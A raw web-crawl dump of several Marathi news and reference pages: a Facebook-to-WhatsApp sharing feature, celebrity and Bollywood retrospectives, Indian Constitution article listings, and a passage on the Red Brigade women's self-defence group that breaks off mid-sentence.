जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nफेसबुकचं युजर्ससाठी नवीन फीचर\nफेसबुकने सातत्ताने आपल्या युजर्सचा विचार करून त्यांच्या गरजेनुसार नवीन फीचर दिले आहेत. फेसबुक सध्या त्यांच्या मोबाईल अॅपसाठी नव्या फीचरची चाचणी करत आहे. फेसबुकच्या नवीन फीचरच्या माध्यमातून यूजर्स फेसबुक पोस्टमधील मजकूर व्हॉट्सअॅपवरही शेअर करू शकतील अशी माहिती समोर येत आहे. काही यूजर्स हे नवीन फीचर फेसबुक अॅपवर सध्या वापरत आहेत. याबाबतची अधिकृत माहिती फेसबुकने दिलेली नाही.\nनवीन फीचरमध्ये शेअर बटनावर टॅप करुन ‘सेंड इन व्हॉट्सअॅप’ हा पर्याय निवडून तुम्ही थेट फेसबुकवरील फोटो किंवा व्हिडीओ व्हॉट्सअपवर शेअर करता येणार आहे. सेंड इन व्हॉट्सअॅप हा पर्यान निवडल्यानंतर एक लिंक तुम्हाला दिसेल ती लिंक तुम्ही व्हॉट्सअपला शेअर करू शकता.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलसर्वोच्च न्यायालयाने फेसबुक, व्हॉट्सअॅपला ठोठावला एक लाखांचा दंड\nपुढीलअंबाजोगाईत जन्मली ‘मत्स्यपरी’, अवघे १५ मिनिटांचे आयुष्य वाट्याला\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00419.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/entertainment/twinkle-katha-shares-the-first-look-of-toilet-ek-premkatha-part2-267620.html", "date_download": "2018-09-25T17:42:26Z", "digest": "sha1:WXMQJROG7BHSHVNSJH3FA246BHLESGCC", "length": 13242, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "...आणि ट्विंकल खन्नाने शेअर केला 'टॉयलेट एक प्रेमकथा-भाग 2' चा लूक", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n...आणि ट्विंकल खन्नाने शेअर केला 'टॉयलेट एक प्रेमकथा-भाग 2' चा लूक\nगंमत म्हणजे हा फोटो कुठल्या अभिनेत्याचा फोटो नोही किंवा एखादं पोस्टरही नाही. ट्विंकलने एक समुद्र किनाऱ्यावरचा सेल्फी काढला आहे. या फोटोत सकाळी समुद्र किनाऱ्यावर एक माणूस त्याचं रोज सकाळची नित्य कर्म करताना दिसतोय\nमुंबई,19 ऑगस्ट: मागच्या आठवड्यात रिलीज झालेल्या टॉयलेट एक प्रेमकथाने आतापर्यंत जवळपास 100 कोटींची कमाई केली आहे. हा सिनेमा रिलीज झाल्यानंतर अक्षय कुमारच्या पत्नीने म्हणजेच ट्विंकलने एक फोटो शेअर करून आता 'टॉयलेट एक प्रेम कथा भाग 2' ची घोषणा केली आहे.\nगंमत म्हणजे हा फोटो कुठल्या अभिनेत्याचा फोटो नोही किंवा एखादं पोस्टरही नाही. ट्विंकलने एक समुद्र किनाऱ्यावरचा सेल्फी काढला आहे. या फोटोत सकाळी समुद्र किनाऱ्यावर एक माणूस त्याचं रोज सकाळची नित्य कर्म करताना दिसतोय. हा फोटो तिने फेसबुकवर शेअर केला आहे आणि लिहिलं आहे टॉयलेट एक प्रेमकथा पार्ट 2चा पहिला सीन. अर्थातच ट्विंकल गंमत करते आहे. या आधीही जेव्हा टॉयलेट एक प्रेम कथा बॉक्स ऑफिसवर हिट झाला तेव्हा बॉक्स ऑफिसवरच कॉन्स्टीपेशन संपवायला टॉयलेटचीच गरज होती असं ट्विंकलने ट्विट केलं होतं.\nपंतप्रधान मोदींच्या स्वच्छ भारत अभियानावर आधारित असलेल्या टॉयलेट एक प्रेमकथा या सिनेमाचा लोकांवर काही खास परिणाम होतो आहे असं तरी दिसत नाही.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00419.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/bharat/word", "date_download": "2018-09-25T17:35:57Z", "digest": "sha1:Q57Y5PWYB6AQHERRYQYCPPAMNYQ4ZLRF", "length": 11495, "nlines": 116, "source_domain": "www.transliteral.org", "title": "Keyword - bharat", "raw_content": "\nघरातील देव्हारा पूर्व पश्चिम कां ठेवतात, इतर दिशा कां वर्ज्य\nभक्तो और महात्माओंके चरित्र मनन करनेसे हृदयमे पवित्र भावोंकी स्फूर्ति होती है \nभक्तो और महात्माओंके चरित्र मनन करनेसे हृदयमे पवित्र भावोंकी स्फूर्ति होती है \nभाग एक - संघराज्य व त्याचे राज्यक्षेत्र\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रोजी राज्य..\nभाग एक - कलम १\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रोजी राज्य..\nभाग एक - कलम २\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रो..\nभाग एक - कलम ३\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रोजी राज..\nभाग एक - कलम ४\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रो..\nभाग दोन - नागरिकत्व\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रो..\nभाग दोन - कलम ५\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ.बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत. २६ नोव्हेंबर १९४९ रो..\nभाग दोन - कलम ६\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nभाग दोन - कलम ७\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nभाग दोन - कलम ८\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nभाग दोन - कलम ९, १०, ११\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी र..\nसर्वसाधारण - कलम १२, १३\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी र..\nसमानतेचा हक्क - कलम १४, १५\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nसमानतेचा हक्क - कलम १६, १७, १८\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी र..\nस्वातंत्र्याचा हक्क - कलम १९\nभारतीय संविधान किंवा भारताची राज्यघटना ही भारतातील पायाभूत कायदा असून डॉ .बाबासाहेब आंबेडकर हे राज्यघटनेचे शिल्पकार आहेत . २६ नोव्हेंबर १९४९ रोजी..\nयज्ञोपवीत ( जानवे ) म्हणजे काय त्याला किती दोरे असतात त्याला किती दोरे असतात त्याच्या गाठीला काय म्हणतात\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00420.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/hum-apake-hai-kaun-completed-24-years-5931575.html", "date_download": "2018-09-25T16:35:37Z", "digest": "sha1:CK6RMENEO7V5ZQ4WVCXZVXJK2BLUT2UL", "length": 15020, "nlines": 196, "source_domain": "divyamarathi.bhaskar.com", "title": "Hum Apake Hai Kaun Completed 24 Years | ‘हम आपके हैं कौन’ची 24 वर्षे : एवढ्या वर्षांत अशी दिसते स्टारकास्ट, 2 कलाकार नाहीत या जगात", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\n‘हम आपके हैं कौन’ची 24 वर्षे : एवढ्या वर्षांत अशी दिसते स्टारकास्ट, 2 कलाकार नाहीत या जगात\n5 ऑगस्ट 1994 रोजी 'हम आपके है कौन' हा ब्लॉकबस्टर सिनेमा रिलीज झाला होता. या सिनेमाच्या रिलीजला आज 24 वर्षे पूर्ण झाली आह\n5 ऑगस्ट 1994 रोजी 'हम आपके है कौन' हा ब्लॉकबस्टर सिनेमा रिलीज झाला होता. या सिनेमाच्या रिलीजला आज 24 वर्षे पूर्ण झाली आहेत. फॅमिली ड्रामा असलेल्या या सिनेमाने त्यावेळी यशाचे सर्व रेकॉर्ड मोडित काढले होते. शंभर कोटींची कमाई करणारा हा बॉलिवूडचा पहिला सिनेमा ठरला होता.\nराजश्री बॅनरच्या या सिनेमामुळे सलमान खान आणि माधुरी दीक्षितचे करिअर यशोशिखरावर पोहोचले. भारतीय मुल्य, परंपरा, रोमान्स आणि संस्कारांचे मिश्रण असलेला हा सिनेमा आजही प्रेक्षकांच्या लक्षात आहे. या चित्रपटाच्या रिलीजनंतर तब्बल 21 वर्षांनी सलमान आणि सूरज बडजात्या राजश्री बॅनरच्या 'प्रेम रतन धन पायो' या सिनेमातून एकत्र आले होते.\nचला जाणून घेऊया, सिनेमाची स्टारकास्ट आता म्हणजे 23 वर्षांनंतर काय करत आहेत...\nपुढील स्लाइडवर क्लिक करुन जाणून घ्या आता काय करतात या सिनेमातील कलाकार...\nआता या जगात नाहीत लक्ष्मीकांत बेर्डे आणि रिमा लागू\nया चित्रपटात लक्ष्मीकांत बर्डे आणि रिमा लागू या मराठी कलाकारांनी चित्रपटात महत्त्वाच्या भूमिका वठवल्या होत्या. आज हे दोन्ही मोठे कलाकार या जगात नाहीत. 16 डिसेंबर 2004 रोजी लक्ष्मीकांत यांचे निधन झाले. तर याचवर्षी रिमा लागू यांचे 18 मे रोजी हृदयविकाराच्या झटक्याने प्राणज्योत मालवली.\nया सिनेमानंतर अभिनेत्री रेणुका शहाणे जणू घराघरांतील फेव्हरेट सून बनल्या होत्या. त्यांनी या सिनेमात सलमानच्या वहिनीची भूमिका साकारली होती. ही भूमिका प्रचंड लोकप्रिय ठरली होती. या सिनेमानंतर रेणुका यांनी काही बॉलिवूड सिनेमे आणि टीव्ही मालिकांमध्ये अभिनय केला. काही वर्षांपूर्वी त्यांनी दिग्दर्शन क्षेत्रात पदार्पण केले आहे. त्यांनी दिग्दर्शित केलेल्या 'रिटा' या सिनेमाचे समीक्षकांनी विशेष कौतुक केले होते. रेणुका आता 50 वर्षांच्या आहेत.\nसिनेमात चमेलीची भूमिका प्रिया बेर्डेने साकारली होती. प्रिया बेर्डे या मराठी इंडस्ट्रीतील ख्यातनाम अभिनेत्री आहेत. लक्ष्मीकांत बेर्डे त्यांचे पती होते. त्यांना स्वानंदी आणि अभिनय ही दोन मुले आहेत.\nया सिनेमात प्रेम नावाच्या साध्यासरळ तरुणाची व्यक्तिरेखा साकारणारा अभिनेता सलमान खान आज बॉलिवूडचा सुपरस्टार आहे. सलमानच्या गेल्यावर्षीरिलीज झालेल्या 'बजरंगी भाईजान' या सिनेमाने बॉक्स ऑफिसवर पाचशे कोटींपेक्षा अधिक व्यवसाय केला आहे. तर यावर्षी ईदच्या मुहूर्तावर रिलीज झालेला बजरंगी भाईजान हा सिनेमा मात्र आपटला. सध्या सलमान आगामी 'टायगर जिंदा है' या चित्रपटाच्या चित्रीकरणात बिझी आहे.\nआपल्या अदा आणि ठुमक्यांनी लाखो मनांवर राज्य करणारी माधुरी दीक्षित आजही प्रेक्षकांची फेव्हरेट अभिनेत्री आहे. 'गुलाब गँग' (2014) हा तिचा सिनेमा रिलीज झाला होता. सध्या माधुरी जाहिरातींमध्ये दिसत असते.\nआदर्श मुलगा, भाऊ, पतीच्या भूमिकेत हिट झालेला मोहनीश बहल आजही सिनेमे आणि टीव्ही मालिकांमध्ये कार्यरत आहे.\nसिनेमात चाची जानची भूमिका वठवणा-या हिमानी शिवपुरी यांनी अनेक सिनेमे आणि टीव्ही शोज केले आहेत. कॅरेक्टर रोल्ससाठी त्यांना ओळखले जाते. कुछ कुछ होता है, कभी खुशी कभी गम हे त्यांचे गाजलेले सिनेमे आहेत. छोट्या पडद्यावर ससुराल सिमर का, डॉलर बहू या मालिकांमध्येही त्यांनी काम केले आहे. सध्या त्या फिल्म्सच्या ऑफर्स नाकारत असून छोट्या पडदयाकडे लक्ष देत आहेत.\nगमतीशीर अंदाज आणि मनमौजी स्वभावाच्या प्रतिमेत झळकलेले अभिनेते अनुपम खेर सिनेमाच्या रिलीजच्या 23 वर्षांनंतरही फिल्म इंडस्ट्रीत कार्यरत आहेत.\n70च्या दशकातील आघाडीच्या अभिनेत्री राहिलेल्या बिंदू यांनी 'हम आपके है कौन' या सिनेमात महत्त्वपूर्ण भूमिका साकारली होती. 'ओम शांती ओम', 'मैं हू ना' या सिनेमांमधील त्यांनी साकारलेल्या भूमिका गाजल्या. 65 वर्षीय बिंदू आता आपल्या कुटुंबासोबत सुखी आयुष्य जगत असून नव-याला बिझनेसमध्ये मदत करतात.\nशायरी ऐकवणा-या मामाच्या भूमिकेत झळकलेल्या सतीश शाह यांनी प्रेक्षकांचे भरपूर मनोरंजन केले. सैफ अली खान स्टारर 'हमशकल्स' या सिनेमात झळकले होते.\nसिनेमात रिटा हे पात्र साहिलाने साकारले होते. 'हम आपके है कौन' सोबतच 'वन टू का फोर' या सिनेमात ती छोटेखानी भूमिकेत झळकली होती. निमल बाली या अभिनेत्यासोबत तिचे लग्न झाले असून त्यांना एक मुलगी आहे.\n1994 मध्ये रिलीज झालेल्या या सिनेमात दिलीप जोशी झळकले होते. 'तारक मेहता का उल्टा चश्मा' या गाजत असलेल्या मालिकेत ते जेठालालच्या भूमिकेतून प्रेक्षकांच्या भेटीला येत आहेत. त्यांनी काही निवडक सिनेमांमध्येच काम केले आहे.\nBirth Ann: तुम्ही यापूर्वी पाहिले नसतील बॉलिवूडच्या 'जांबाज' अॅक्टरचे हे Rare Photos\nजिच्यासोबत रजनीकांत- कमल हासनसारखे बडे स्टार्स काम करण्यास असायचे उत्सुक, शेवटच्या काळात मरणासन्न अवस्थेत आढळली होती रस्त्यावर\nमृत्यूसमयी रुग्णालयात एकटीच होती 'दिलवाले दुल्हनिया ले जाएंगे'ची ही अॅक्ट्रेस, मुलगा-मुलगी कुणीही केली नव्हती साधी विचारपूस\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00420.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/0fcad3a6e9/manamaujinna-was-ready-to-teach-a-lesson-39-red-brigade-39-the-girls-half-of-the-year", "date_download": "2018-09-25T17:54:25Z", "digest": "sha1:MRV7DAMV7KSTFYJPR4OBREI4MKQSU25L", "length": 15653, "nlines": 83, "source_domain": "marathi.yourstory.com", "title": "मनमौजींना धडा शिकवण्यासाठी सज्ज झाली ‘रेड ब्रिगेड’, दीड वर्षापासून ३४००० मुलींना दिले आत्मसंरक्षणाचे प्रशिक्षण", "raw_content": "\nमनमौजींना धडा शिकवण्यासाठी सज्ज झाली ‘रेड ब्रिगेड’, दीड वर्षापासून ३४००० मुलींना दिले आत्मसंरक्षणाचे प्रशिक्षण\nएक मुलगी जी कुणाला तरी आपला जिवलग आणि चांगला मित्र समजत होती ती त्याच्याच लैंगिक शोषणाला बळी पडली. या अत्याचाराने पीडित मुलीचे पूर्ण वर्ष घाबरण्यात आणि त्या धक्क्यातून सावरण्यात गेले, पण त्याचवेळेस तिच्या एका साहसी निर्णयाने समाज परिवर्तन घडवून आणण्याचा प्रयत्न हा उषा विश्वकर्माच्या आयुष्यातील एक महत्वपूर्ण टप्पा ठरला. ही अशी एक धगधगती ज्वाला आहे की जी जगभरातल्या दुसऱ्या मुलींसाठी बऱ्या वाईट तसेच रोडरोमिओंविरुद्ध लढण्यासाठी प्रेरित करणारी शक्ती होती. आज उषा दुसऱ्या मुलींना हिम्मत देऊन त्यांच्या विचारांमध्ये परिवर्तन आणू पाहत आहे. गरज पडल्यास वाईट नजरेने बघणाऱ्या रोडरोमिओंबरोबर दोन हात करण्याचे शिक्षण देत आहे. म्हणून आज लखनऊ आणि वाराणसी सारख्या शहरांमध्ये जेव्हा उषा विश्वकर्माच्या ‘रेड ब्रिगेड’ ला बघून रस्त्यात बिनधास्त निडर होऊन फिरणारे मनमौजी आपल्या घरात लपून बसतात. हा ‘रेड ब्रिगेड’ चा करिष्मा आहे जे मागच्या दीड वर्षापासून जवळजवळ ३४००० मुलींना आत्मसंरक्षणाचे प्रशिक्षण देत आहे.\nउषा विश्वकर्मा यांचा जन्म उत्तरप्रदेशातल्या एका वस्तीत झाला पण त्यांचे शालेय शिक्षण लखनऊ मध्ये झाले. त्यांची कौटुंबिक परिस्थिती बेताची असल्यामुळे त्यांनी पुस्तकांविनाच माध्यमिक शिक्षण पूर्ण केले. पैशाच्या अडचणीमुळे पुस्तके विकत आणून त्या अभ्यास करू शकत नव्हत्या तसेच त्यांना झुग्गी झोपडीमधल्या मुलांबद्दल विशेष कणव असल्यामुळे त्यांनी या मुलांना शिकवण्याचे काम सुरु केले.\nएक दिवस त्यांना कळाले की ज्या मुलांना त्या शिकवीत आहे त्यातील ११ वर्षाच्या मुलीवर तिच्या काकांनीच बलात्कार केला. मुलीच्या पालकांनी या घटनेविषयी पोलिसात तक्रार न देता प्रकरण दडपून टाकले. उषासाठी हा खूप मोठा धक्का होता. आतापर्यंत त्यांनी दूरदर्शन आणि वर्तमानपत्र यामध्येच अशा प्रकारच्या बातम्या वाचल्या आणि बघितल्या होत्या. या घटनेला काही अवधीच झाला होता आणि याच दरम्यान उषाचा एक मित्र ज्याला ती मनातल्या चांगल्या वाईट सगळ्या गोष्टी सांगायच्या त्यानेच एक दिवस त्यांचे लैंगिक शोषण केले. या घटनेमुळे त्या अंतर्मनातून घाबरल्या. समाजातील लोकांच्या कुंठीत स्वभावामुळे त्यांनी याची वाच्यता कुणाकडे केली नाही पण या घटनेमुळे त्या वर्षभर भीतीने या धक्क्यातून बाहेर पडू शकल्या नाही. त्यांची तब्येत इतकी खराब झाला की घरच्यांनी लखनऊच्या नूर मंजिल मनोचिकित्सा केंद्रात पाठवण्याचा विचार केला. याच दरम्यान त्यांचे शालेय शिक्षण अर्धवट राहिले,पण त्यांच्या काही मित्रांनी त्यांची साथ सोडली नाही व त्यांचे कायम समुपदेशन करीत राहिले.\nजेव्हा त्या सामान्य स्थितीत आल्या तेव्हा त्यांनी विचार केला की आपल्या शिक्षणाबरोबरच अशा घटनांवर पण काम करण्याची गरज आहे. त्यांचे असे मानने आहे की, ‘जर मी स्वतःच सुरक्षित नसेल तर माझ्या शिक्षणाचा काय फायदा’ त्यानंतर त्यांनी महिलांच्या एका कार्यशाळेत भाग घेतला जिथे उत्तरप्रदेशातल्या ४-५ जिल्ह्यातील जवळजवळ ५५ मुलींनी भाग घेतला होता. त्यातील ५३ मुलींनी सांगितले की त्यांच्याबरोबर त्यांच्याच नातेवाईकांनी बलात्कार, मारझोड आणि इतर अत्याचार केले. या नातेवाईकांमध्ये त्यांचे वडील, भाऊ, काका आणि इतर लोक सामील होते. या माहितीने उषाच्या पायाखालची जमीनच सरकली. त्यामुळे तिथे उपस्थित असलेल्या सगळ्या मुलींनी या विषयाबद्दल काहीतरी ठोस निर्णय घेण्याचा पण केला. यानंतर त्यांनी महिला अत्याचारासंबंधातल्या या घटनांवर काम सुरु केले.\nलखनऊच्या माडियांव भागात राहणाऱ्या या मुली रोजच्या अशा अत्याचारांना वैतागल्या होत्या, भर रस्त्यात कुणीतरी हात पकडायचे, ओढणी ओढायचे, हे सगळे सहन न होऊन उषा यांनी १५ मुलींचा एक गट तयार केला जो अशा मुलांच्या विरोधात जाऊन त्यांच्या कुटुंबियांना जाऊन सांगतात की त्यांची मुले रस्त्यात महिला आणि मुलींशी कसे गैरवर्तन करतात. बऱ्याच वेळा परिस्थिती हाताबाहेर गेल्यावर या मुलींना पोलीस स्टेशनमध्ये पण जावे लागते. सहा ते सात महिने हा उपक्रम असाच सुरु होता पण एकदा संस्थेच्या एका मुलीने आपल्या सोबतीच्या मदतीने एका रोडरोमिओची धुलाई केली. त्यानंतर मुलाचे पालक त्यांना बरेच वाईटसाईट बोलले पण सत्य परिस्थिती समोर आल्यानंतर त्यांनी लाजेने मान खाली घातली.\nया घटनेनंतर मुलींचा आत्मविश्वास बळावला, त्यांनी ठरविले की यापुढे असा कोणताच अत्याचार त्या सहन करणार नाही. यानंतर कुठेही अशाप्रकारची छेडछाड दिसली तर या मुली अगोदर समजावण्याचे काम करायच्या आणि नाहीच ऐकले तर सगळ्यामिळून धुलाई करायच्या. यानंतर त्यांनी एक ड्रेस कोड बनविला. या मुली लाल आणि काळ्या कपड्यांमध्ये 